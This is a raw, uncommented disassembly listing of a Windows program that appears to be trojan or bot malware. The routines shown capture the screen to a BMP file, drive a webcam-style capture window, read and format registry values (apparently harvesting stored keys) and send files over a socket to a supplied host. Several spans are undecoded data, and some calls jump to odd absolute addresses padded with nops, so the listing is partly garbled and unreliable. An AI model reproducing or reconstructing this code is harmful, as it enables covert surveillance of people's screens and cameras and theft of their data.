dd 0FF500043h, 0FFFEE4B5h, 4795E8FFh, 0C483FFFFh, 68BD8014h
dd 0FFFFFFh, 858D1774h, 0FFFFFF68h, 6483E850h, 0C0850000h
dd 0FC458959h, 45890374h, 86583F8h, 0F27CBE00h
db 4Ch, 0
; ---------------------------------------------------------------------------
loc_41530A: ; CODE XREF: ___:00415362j
mov eax, [ebp+8]
cmp eax, [ebp-8]
jge short loc_415364
cmp byte ptr [esi], 0
jz short loc_415353
cmp byte ptr [ebp-98h], 0
jz short loc_415339
cmp dword ptr [ebp-4], 0
jnz short loc_415339
lea eax, [ebp-98h]
push eax
push esi
call sub_418087
pop ecx
test eax, eax
pop ecx
jz short loc_415353
loc_415339: ; CODE XREF: ___:0041531Ej
; ___:00415324j
push edi
lea eax, [ebp-118h]
push dword ptr [ebp-14h]
push esi
push eax
push dword ptr [ebp-11Ch]
call sub_409A73
add esp, 14h
loc_415353: ; CODE XREF: ___:00415315j
; ___:00415337j
inc dword ptr [ebp+8]
add esi, 80h
cmp esi, offset dword_4D327C
jl short loc_41530A
loc_415364: ; CODE XREF: ___:00415310j
lea eax, [ebp-31Ch]
push offset dword_4368A0
push eax
call sub_41B886
xor esi, esi
pop ecx
cmp [ebp-10h], esi
pop ecx
jnz short loc_41539E
push esi
lea eax, [ebp-31Ch]
push dword ptr [ebp-14h]
push eax
lea eax, [ebp-118h]
push eax
push dword ptr [ebp-11Ch]
call sub_409A73
add esp, 14h
loc_41539E: ; CODE XREF: ___:0041537Cj
lea eax, [ebp-31Ch]
push eax
call sub_4151AD
push dword ptr [ebp-18h]
call sub_40B413
pop ecx
pop ecx
push esi
; ---------------------------------------------------------------------------
db 0E8h, 46h, 0ACh
dd 5F90022Fh
; ---------------------------------------------------------------------------
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4153BD proc near ; CODE XREF: sub_401ACD+7350p
var_484 = byte ptr -484h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = word ptr -78h
var_76 = word ptr -76h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2E = dword ptr -2Eh
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = dword ptr -26h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 484h
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push offset aDisplay ; "DISPLAY"
call dword_4CB640
mov edi, eax
cmp edi, esi
mov [ebp+var_20], edi
jz loc_4155F1
push 8
push edi
call dword_4CB65C
push 0Ah
push edi
mov [ebp+var_8], eax
call dword_4CB65C
push 0Ch
push edi
mov [ebp+var_C], eax
call dword_4CB65C
cmp eax, 8
mov [ebp+var_10], eax
ja short loc_41541F
push 18h
push edi
call dword_4CB65C
mov ebx, 100h
jmp short loc_415421
; ---------------------------------------------------------------------------
loc_41541F: ; CODE XREF: sub_4153BD+50j
xor ebx, ebx
loc_415421: ; CODE XREF: sub_4153BD+60j
push edi
call dword_4CB6A0
cmp eax, esi
mov [ebp+var_4], eax
jz loc_4155D6
mov eax, [ebp+var_8]
push esi
mov [ebp+var_80], eax
mov eax, [ebp+var_C]
mov [ebp+var_7C], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_76], ax
lea eax, [ebp+var_18]
push esi
push eax
lea eax, [ebp+var_84]
push 1
push eax
push edi
mov [ebp+var_84], 28h
mov [ebp+var_78], 1
mov [ebp+var_74], esi
mov [ebp+var_70], esi
mov [ebp+var_6C], esi
mov [ebp+var_68], esi
mov [ebp+var_64], ebx
mov [ebp+var_60], ebx
call dword_4CB698
cmp eax, esi
mov [ebp+var_1C], eax
jz loc_4155E1
push eax
push [ebp+var_4]
call dword_4CB524
cmp eax, esi
jz loc_4155E1
cmp eax, 0FFFFFFFFh
jz loc_4155E1
push 0CC0020h
push esi
push esi
push edi
push [ebp+var_C]
push [ebp+var_8]
push esi
push esi
push [ebp+var_4]
call dword_4CB69C
test eax, eax
jz loc_4155E1
cmp ebx, esi
jz short loc_4154DE
lea eax, [ebp+var_484]
push eax
push ebx
push esi
push [ebp+var_4]
call dword_4CB578
mov ebx, eax
loc_4154DE: ; CODE XREF: sub_4153BD+10Bj
mov edi, [ebp+var_10]
mov ecx, [ebp+var_8]
imul edi, [ebp+var_C]
imul edi, ecx
mov eax, ebx
push esi
shr edi, 3
shl eax, 2
mov [ebp+var_8], eax
push 80h
lea edx, [eax+edi+36h]
add eax, 36h
push 2
mov [ebp+var_26], eax
mov eax, [ebp+var_C]
push esi
push esi
push 40000000h
push [ebp+arg_0]
mov [ebp+var_50], eax
mov ax, word ptr [ebp+var_10]
mov [ebp+var_30], 4D42h
mov [ebp+var_2E], edx
mov [ebp+var_2A], si
mov [ebp+var_28], si
mov [ebp+var_58], 28h
mov [ebp+var_54], ecx
mov [ebp+var_4C], 1
mov [ebp+var_4A], ax
mov [ebp+var_48], esi
mov [ebp+var_44], esi
mov [ebp+var_40], esi
mov [ebp+var_3C], esi
mov [ebp+var_38], ebx
mov [ebp+var_34], esi
nop
call near ptr 27308C8h
cmp eax, 0FFFFFFFFh
mov [ebp+arg_0], eax
jz short loc_4155C1
lea ecx, [ebp+var_14]
push esi
push ecx
lea ecx, [ebp+var_30]
push 0Eh
push ecx
push eax
call near ptr 2720000h
nop
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_58]
push 28h
push eax
push [ebp+arg_0]
nop
call near ptr 2720000h
cmp ebx, esi
jz short loc_4155A3
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_484]
push [ebp+var_8]
push eax
push [ebp+arg_0]
call near ptr 2720000h
nop
loc_4155A3: ; CODE XREF: sub_4153BD+1CCj
lea eax, [ebp+var_14]
push esi
push eax
push edi
push [ebp+var_18]
push [ebp+arg_0]
nop
call near ptr 2720000h
push [ebp+arg_0]
call near ptr 2690934h
nop
push 1
pop esi
loc_4155C1: ; CODE XREF: sub_4153BD+1A2j
push [ebp+var_1C]
call dword_4CB5B0
push [ebp+var_4]
call dword_4CB510
mov edi, [ebp+var_20]
loc_4155D6: ; CODE XREF: sub_4153BD+70j
push edi
call dword_4CB510
mov eax, esi
jmp short loc_4155F3
; ---------------------------------------------------------------------------
loc_4155E1: ; CODE XREF: sub_4153BD+C7j
; sub_4153BD+D9j ...
push edi
call dword_4CB510
push [ebp+var_4]
call dword_4CB510
loc_4155F1: ; CODE XREF: sub_4153BD+23j
xor eax, eax
loc_4155F3: ; CODE XREF: sub_4153BD+222j
pop edi
pop esi
pop ebx
leave
retn
sub_4153BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4155F8 proc near ; CODE XREF: sub_401ACD+7477p
var_34 = byte ptr -34h
var_20 = dword ptr -20h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
mov [ebp+var_4], edi
jnz short loc_415636
mov eax, esi
jmp loc_4157EC
; ---------------------------------------------------------------------------
loc_415636: ; CODE XREF: sub_4155F8+35j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415653
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB6B0
jmp short loc_415655
; ---------------------------------------------------------------------------
loc_415653: ; CODE XREF: sub_4155F8+47j
xor eax, eax
loc_415655: ; CODE XREF: sub_4155F8+59j
cmp eax, ebx
jnz short loc_415660
loc_415659: ; CODE XREF: sub_4155F8+88j
; sub_4155F8+BCj
mov ebx, esi
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_415660: ; CODE XREF: sub_4155F8+5Fj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41567D
lea eax, [ebp+var_34]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0
loc_41567D: ; CODE XREF: sub_4155F8+71j
cmp [ebp+var_20], ebx
jz short loc_415659
push edi
call dword_4CB5F4
test eax, eax
mov edi, 42Ch
jz short loc_4156A3
push ebx
push ebx
push edi
push [ebp+var_4]
call dword_4CB6B0
mov [ebp+arg_4], eax
jmp short loc_4156A6
; ---------------------------------------------------------------------------
loc_4156A3: ; CODE XREF: sub_4155F8+98j
mov [ebp+arg_4], ebx
loc_4156A6: ; CODE XREF: sub_4155F8+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_8], eax
jz short loc_415659
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4156CD
push 1
pop ebx
jmp loc_4157E1
; ---------------------------------------------------------------------------
loc_4156CD: ; CODE XREF: sub_4155F8+CBj
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4156EA
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_4156EA: ; CODE XREF: sub_4155F8+E0j
push [ebp+arg_4]
push [ebp+var_8]
push esi
call sub_41C310
mov ecx, [ebp+arg_8]
add esp, 0Ch
cmp ecx, ebx
jg short loc_415705
mov ecx, 280h
loc_415705: ; CODE XREF: sub_4155F8+106j
mov eax, [ebp+arg_C]
cmp eax, ebx
jg short loc_415711
mov eax, 1E0h
loc_415711: ; CODE XREF: sub_4155F8+112j
push [ebp+var_4]
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4
test eax, eax
mov edi, 42Dh
jz short loc_41575B
push esi
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_41575B: ; CODE XREF: sub_4155F8+153j
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_415778
push ebx
push ebx
push 43Dh
push [ebp+var_4]
call dword_4CB6B0
loc_415778: ; CODE XREF: sub_4155F8+16Ej
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_415797
push [ebp+arg_0]
push ebx
push 419h
push [ebp+var_4]
call dword_4CB6B0
loc_415797: ; CODE XREF: sub_4155F8+18Bj
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4157B4
push [ebp+var_8]
push [ebp+arg_4]
push edi
push [ebp+var_4]
call dword_4CB6B0
loc_4157B4: ; CODE XREF: sub_4155F8+1AAj
push [ebp+var_8]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push [ebp+var_4]
call dword_4CB5F4
test eax, eax
jz short loc_4157E1
push ebx
push ebx
push 40Bh
push [ebp+var_4]
call dword_4CB6B0
loc_4157E1: ; CODE XREF: sub_4155F8+63j
; sub_4155F8+D0j ...
push [ebp+var_4]
call dword_4CB704
mov eax, ebx
loc_4157EC: ; CODE XREF: sub_4155F8+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4155F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4157F1 proc near ; CODE XREF: sub_401ACD+752Fp
var_90 = byte ptr -90h
var_7C = dword ptr -7Ch
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 90h
push ebx
push esi
push edi
push 1
pop esi
xor ebx, ebx
push esi
push dword_4D3280
push 78h
push 0A0h
push ebx
push ebx
push 40000000h
push offset aWindow ; "Window"
call dword_4CB5A4
mov edi, eax
cmp edi, ebx
jnz short loc_41582F
mov eax, esi
jmp loc_415A2B
; ---------------------------------------------------------------------------
loc_41582F: ; CODE XREF: sub_4157F1+35j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41584C
push ebx
push [ebp+arg_4]
push 40Ah
push edi
call dword_4CB6B0
jmp short loc_41584E
; ---------------------------------------------------------------------------
loc_41584C: ; CODE XREF: sub_4157F1+47j
xor eax, eax
loc_41584E: ; CODE XREF: sub_4157F1+59j
cmp eax, ebx
jnz short loc_415859
loc_415852: ; CODE XREF: sub_4157F1+8Bj
; sub_4157F1+BCj
mov ebx, esi
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_415859: ; CODE XREF: sub_4157F1+5Fj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415879
lea eax, [ebp+var_90]
push eax
push 2Ch
push 40Eh
push edi
call dword_4CB6B0
loc_415879: ; CODE XREF: sub_4157F1+71j
cmp [ebp+var_7C], ebx
jz short loc_415852
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41589C
push ebx
push ebx
push 42Ch
push edi
call dword_4CB6B0
mov [ebp+arg_4], eax
jmp short loc_41589F
; ---------------------------------------------------------------------------
loc_41589C: ; CODE XREF: sub_4157F1+96j
mov [ebp+arg_4], ebx
loc_41589F: ; CODE XREF: sub_4157F1+A9j
push [ebp+arg_4]
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [ebp+var_4], eax
jz short loc_415852
push [ebp+arg_4]
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
jnz short loc_4158C6
push 1
pop ebx
jmp loc_415A22
; ---------------------------------------------------------------------------
loc_4158C6: ; CODE XREF: sub_4157F1+CBj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4158E3
push [ebp+var_4]
push [ebp+arg_4]
push 42Ch
push edi
call dword_4CB6B0
loc_4158E3: ; CODE XREF: sub_4157F1+DEj
push [ebp+arg_4]
push [ebp+var_4]
push esi
call sub_41C310
mov ecx, [ebp+arg_C]
add esp, 0Ch
cmp ecx, ebx
jg short loc_4158FE
mov ecx, 0A0h
loc_4158FE: ; CODE XREF: sub_4157F1+106j
mov eax, [ebp+arg_10]
cmp eax, ebx
jg short loc_415908
push 78h
pop eax
loc_415908: ; CODE XREF: sub_4157F1+112j
push edi
mov [esi+4], ecx
mov [esi+8], eax
mov word ptr [esi+0Eh], 10h
mov [esi+14h], ebx
mov [esi+10h], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
mov word ptr [esi+0Ch], 1
mov [esi+28h], bl
mov [esi+29h], bl
mov [esi+2Ah], bl
mov [esi+2Bh], bl
call dword_4CB5F4
test eax, eax
jz short loc_41594D
push esi
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB6B0
loc_41594D: ; CODE XREF: sub_4157F1+14Aj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_41596A
lea eax, [ebp+var_64]
push eax
push 60h
push 441h
push edi
call dword_4CB6B0
loc_41596A: ; CODE XREF: sub_4157F1+165j
push edi
mov [ebp+var_60], ebx
mov [ebp+var_3C], ebx
mov [ebp+var_38], ebx
mov [ebp+var_34], ebx
mov [ebp+var_30], 1
mov [ebp+var_2C], 5
mov [ebp+var_64], 1046Ah
call dword_4CB5F4
test eax, eax
jz short loc_4159A8
lea eax, [ebp+var_64]
push eax
push 60h
push 440h
push edi
call dword_4CB6B0
loc_4159A8: ; CODE XREF: sub_4157F1+1A3j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159C3
push [ebp+arg_0]
push ebx
push 414h
push edi
call dword_4CB6B0
loc_4159C3: ; CODE XREF: sub_4157F1+1C0j
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159DC
push ebx
push ebx
push 43Eh
push edi
call dword_4CB6B0
loc_4159DC: ; CODE XREF: sub_4157F1+1DBj
push edi
call dword_4CB5F4
test eax, eax
jz short loc_4159F9
push [ebp+var_4]
push [ebp+arg_4]
push 42Dh
push edi
call dword_4CB6B0
loc_4159F9: ; CODE XREF: sub_4157F1+1F4j
push [ebp+var_4]
call sub_41B0B1
push esi
call sub_41B0B1
pop ecx
pop ecx
push edi
call dword_4CB5F4
test eax, eax
jz short loc_415A22
push ebx
push ebx
push 40Bh
push edi
call dword_4CB6B0
loc_415A22: ; CODE XREF: sub_4157F1+63j
; sub_4157F1+D0j ...
push edi
call dword_4CB704
mov eax, ebx
loc_415A2B: ; CODE XREF: sub_4157F1+39j
pop edi
pop esi
pop ebx
leave
retn
sub_4157F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415A30 proc near ; CODE XREF: sub_401ACD+25F2p
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_4368EC, ebx
mov [ebp+var_C], 80h
jz loc_415BD1
push esi
push edi
mov eax, offset off_4368EC
mov esi, offset dword_4368F8
mov edi, offset dword_437AF0
loc_415A60: ; CODE XREF: sub_415A30+199j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_4CB6C4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_4CB554
test eax, eax
jnz loc_415BB7
mov eax, [esi]
cmp eax, ebx
jz loc_415B7B
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset dword_429AC8
push eax
call sub_41B886
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_41B4C2
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_415BB7
push eax
loc_415AD9: ; CODE XREF: sub_415A30+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41BB4F
add esp, 0Ch
test eax, eax
jz loc_415B70
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_415B06
push [ebp+var_8]
jmp short loc_415AD9
; ---------------------------------------------------------------------------
loc_415B06: ; CODE XREF: sub_415A30+CFj
push 3Dh
push dword ptr [esi+4]
call sub_41BFB0
pop ecx
test eax, eax
pop ecx
jz short loc_415B34
lea eax, [ebp+var_70]
push offset asc_437AEC ; "="
push eax
call sub_41C0F4
push offset asc_437AEC ; "="
push ebx
call sub_41C0F4
add esp, 10h
jmp short loc_415B37
; ---------------------------------------------------------------------------
loc_415B34: ; CODE XREF: sub_415A30+E4j
lea eax, [ebp+var_70]
loc_415B37: ; CODE XREF: sub_415A30+102j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp+var_2F0]
push ebx
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 18h
loc_415B70: ; CODE XREF: sub_415A30+B9j
push [ebp+var_8]
call sub_41B05B
pop ecx
jmp short loc_415BB7
; ---------------------------------------------------------------------------
loc_415B7B: ; CODE XREF: sub_415A30+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A73
lea eax, [ebp+var_2F0]
push eax
call sub_4151AD
add esp, 28h
loc_415BB7: ; CODE XREF: sub_415A30+60j
; sub_415A30+A2j ...
push [ebp+var_4]
call dword_4CB630
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_415A60
pop edi
pop esi
loc_415BD1: ; CODE XREF: sub_415A30+19j
pop ebx
leave
retn
sub_415A30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415BD4 proc near ; CODE XREF: ___:00416279p
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4CB6D4
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_415C50
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4CB654
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4CB694
cmp eax, esi
jnz short loc_415C35
push [ebp+arg_0]
call dword_4CB6D8
test eax, eax
jz short loc_415C50
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_415C35: ; CODE XREF: sub_415BD4+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4CB5FC
cmp eax, esi
jnz short loc_415C54
push edi
call dword_4CB6EC
loc_415C50: ; CODE XREF: sub_415BD4+1Bj
; sub_415BD4+58j
mov eax, esi
jmp short loc_415C56
; ---------------------------------------------------------------------------
loc_415C54: ; CODE XREF: sub_415BD4+73j
mov eax, edi
loc_415C56: ; CODE XREF: sub_415BD4+7Ej
pop edi
pop esi
leave
retn
sub_415BD4 endp
; ---------------------------------------------------------------------------
word_415C5A dw 8B55h ; DATA XREF: sub_401ACD+A1Eo
dd 11B4B8ECh, 0B9E80000h, 8B00005Eh, 56530845h, 8B6D6A57h
dd 0BD8D59F0h, 0FFFFFE4Ch, 16AA5F3h, 0EC75FF5Eh, 1B0B089h
dd 858D0000h, 0FFFFFE54h, 0FF42E850h, 0D88BFFFFh, 0FFFB8359h
dd 8D527559h, 0FFEE4C85h, 7B6C68FFh, 0E8500043h, 5BDAh
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF3DA6E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFF4D1h, 0E8F075FFh, 0FFFF572Fh, 0E8565959h
dd 22FA314h, 0D8086890h, 0E8530043h, 3F6Dh, 0FFF88359h
dd 8D597559h, 0FFEE4C85h, 7B3C68FFh, 0E8500043h, 5B76h
dd 3959FF33h, 7559F87Dh, 858D571Bh, 0FFFFEE4Ch, 50F475FFh
dd 0FF6C858Dh, 5350FFFFh, 0FF3D42E8h, 14C483FFh, 0EE4C858Dh
dd 0E850FFFFh, 0FFFFF46Dh, 15FF5359h, 4CB6ECh, 0E8F075FFh
dd 0FFFF56C3h, 0E8905659h, 22FA2A8h, 0E890646Ah, 228B1E4h
dd 0BEFF33h, 56000010h, 0EE4C858Dh, 5057FFFFh, 581BE8h
dd 0CC48300h, 0EE4C858Dh, 5657FFFFh, 15FF5350h, 4CB66Ch
dd 387EC085h, 0EE4C858Dh, 0A468FFFFh, 500042A0h, 6123E8h
dd 4C858D00h, 50FFFFEEh, 3CA8E8h, 0CC48300h, 1474C085h
dd 8DE8646Ah, 900228B1h, 80E80A6Ah, 85FFFF55h, 0A37559C0h
dd 0EE4C858Dh, 868FFFFh, 5000437Bh, 5AB1E8h, 0F87D3900h
dd 1B755959h, 4C858D57h, 0FFFFFFEEh, 8D50F475h, 0FFFF6C85h
dd 0E85350FFh, 0FFFF3C7Fh, 8D14C483h, 0FFEE4C85h, 0AAE850FFh
dd 59FFFFF3h, 0EC15FF53h, 0FF004CB6h, 0E8F075h, 59FFFF56h
dd 0E5E89057h
db 0A1h, 2Fh, 2
; ---------------------------------------------------------------------------
loc_415E1B: ; DATA XREF: sub_401ACD+7832o
push ebp
mov ebp, esp
sub esp, 0A04h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 6Dh
mov esi, eax
pop ecx
lea edi, [ebp-1FCh]
rep movsd
push 1
xor esi, esi
pop ebx
mov [ebp-10h], esi
push esi
push ebx
push 2
mov [eax+1B0h], ebx
mov [ebp-0Ch], esi
mov [ebp-20h], esi
call dword_4CB6D4
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp-18h], edi
jnz short loc_415E69
push offset unk_437C6C
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415E69: ; CODE XREF: ___:00415E5Dj
push 10h
lea eax, [ebp-30h]
push esi
push eax
call sub_41B590
add esp, 0Ch
mov word ptr [ebp-30h], 2
push esi
call dword_4CB654
mov [ebp-2Eh], ax
lea eax, [ebp-30h]
push 10h
push eax
push edi
mov [ebp-2Ch], esi
call dword_4CB680
test eax, eax
jz short loc_415EA7
push offset unk_437C48
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415EA7: ; CODE XREF: ___:00415E9Bj
lea eax, [ebp-1Ch]
mov dword ptr [ebp-1Ch], 10h
push eax
lea eax, [ebp-30h]
push eax
push edi
call dword_4CB5F8
push dword ptr [ebp-2Eh]
call dword_4CB584
mov [ebp-4], eax
lea eax, [ebp-1E0h]
push eax
mov [ebp+8], esi
call sub_41AFE0
pop ecx
loc_415ED9: ; CODE XREF: ___:00415F0Aj
mov ecx, [ebp+8]
mov al, [ebp+ecx-1E0h]
cmp al, 20h
jnz short loc_415EEC
push 5Fh
pop eax
jmp short loc_415EEF
; ---------------------------------------------------------------------------
loc_415EEC: ; CODE XREF: ___:00415EE5j
movsx eax, al
loc_415EEF: ; CODE XREF: ___:00415EEAj
mov [ebp+ecx-604h], al
lea eax, [ebp-1E0h]
inc ecx
push eax
mov [ebp+8], ecx
call sub_41AFE0
cmp [ebp+8], eax
pop ecx
jbe short loc_415ED9
push ebx
push edi
call dword_4CB67C
test eax, eax
jz short loc_415F22
push offset unk_437B6C
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F22: ; CODE XREF: ___:00415F16j
push esi
push esi
push 3
push esi
push ebx
lea eax, [ebp-1E0h]
push 80000000h
push eax
call near ptr 27308C8h
nop
cmp eax, 0FFFFFFFFh
mov [ebp-8], eax
jnz short loc_415F4C
push offset unk_437C28
jmp loc_416022
; ---------------------------------------------------------------------------
loc_415F4C: ; CODE XREF: ___:00415F40j
push esi
push eax
nop
call near ptr 2760A61h
mov [ebp+8], eax
push eax
movzx eax, word ptr [ebp-4]
push eax
push dword ptr [ebp-1FCh]
call sub_40AC10
pop ecx
push eax
call dword_4CB694
push eax
call dword_4CB650
push eax
lea eax, [ebp-1E0h]
push eax
lea eax, [ebp-3FCh]
push offset dword_437C10
push eax
call sub_41B886
push esi
lea eax, [ebp-3FCh]
push esi
push eax
lea eax, [ebp-0DCh]
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
add esp, 2Ch
lea eax, [ebp-38h]
mov dword ptr [ebp-38h], 3Ch
mov [ebp-34h], esi
push eax
push esi
lea eax, [ebp-500h]
push esi
push eax
push esi
mov [ebp-4FCh], edi
mov [ebp-500h], ebx
call dword_4CB63C
test eax, eax
jg short loc_415FFC
push esi
lea eax, [ebp-0DCh]
push dword ptr [ebp-54h]
push offset dword_437BF8
push eax
push dword ptr [ebp-1FCh]
call sub_409A73
jmp loc_416120
; ---------------------------------------------------------------------------
loc_415FFC: ; CODE XREF: ___:00415FDAj
lea eax, [ebp-14h]
mov dword ptr [ebp-14h], 10h
push eax
lea eax, [ebp-48h]
push eax
push edi
call dword_4CB6E8
cmp eax, 0FFFFFFFFh
mov [ebp-1F8h], eax
jnz short loc_416035
push offset unk_437BD4
loc_416022: ; CODE XREF: ___:00415E64j
; ___:00415EA2j ...
lea eax, [ebp-3FCh]
push eax
call sub_41B886
pop ecx
pop ecx
jmp loc_416123
; ---------------------------------------------------------------------------
loc_416035: ; CODE XREF: ___:0041601Bj
push edi
call dword_4CB6EC
cmp [ebp+8], esi
jz loc_4160E7
mov edi, 400h
loc_41604A: ; CODE XREF: ___:004160DEj
mov eax, [ebp+8]
mov [ebp-4], edi
cmp eax, edi
jge short loc_416057
mov [ebp-4], eax
loc_416057: ; CODE XREF: ___:00416052j
push edi
lea eax, [ebp-0A04h]
push esi
push eax
call sub_41B590
mov eax, [ebp+8]
add esp, 0Ch
neg eax
push 2
push esi
push eax
push dword ptr [ebp-8]
nop
call near ptr 27A0000h
lea eax, [ebp-20h]
push esi
push eax
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8]
nop
call near ptr 2730000h
push esi
lea eax, [ebp-0A04h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-1F8h]
call dword_4CB6A4
mov [ebp-4], eax
push esi
cdq
add [ebp-10h], eax
lea eax, [ebp-0A04h]
push edi
push eax
push dword ptr [ebp-1F8h]
adc [ebp-0Ch], edx
call dword_4CB66C
cmp eax, ebx
jl loc_41617C
mov eax, [ebp-4]
cmp eax, ebx
jl loc_41617C
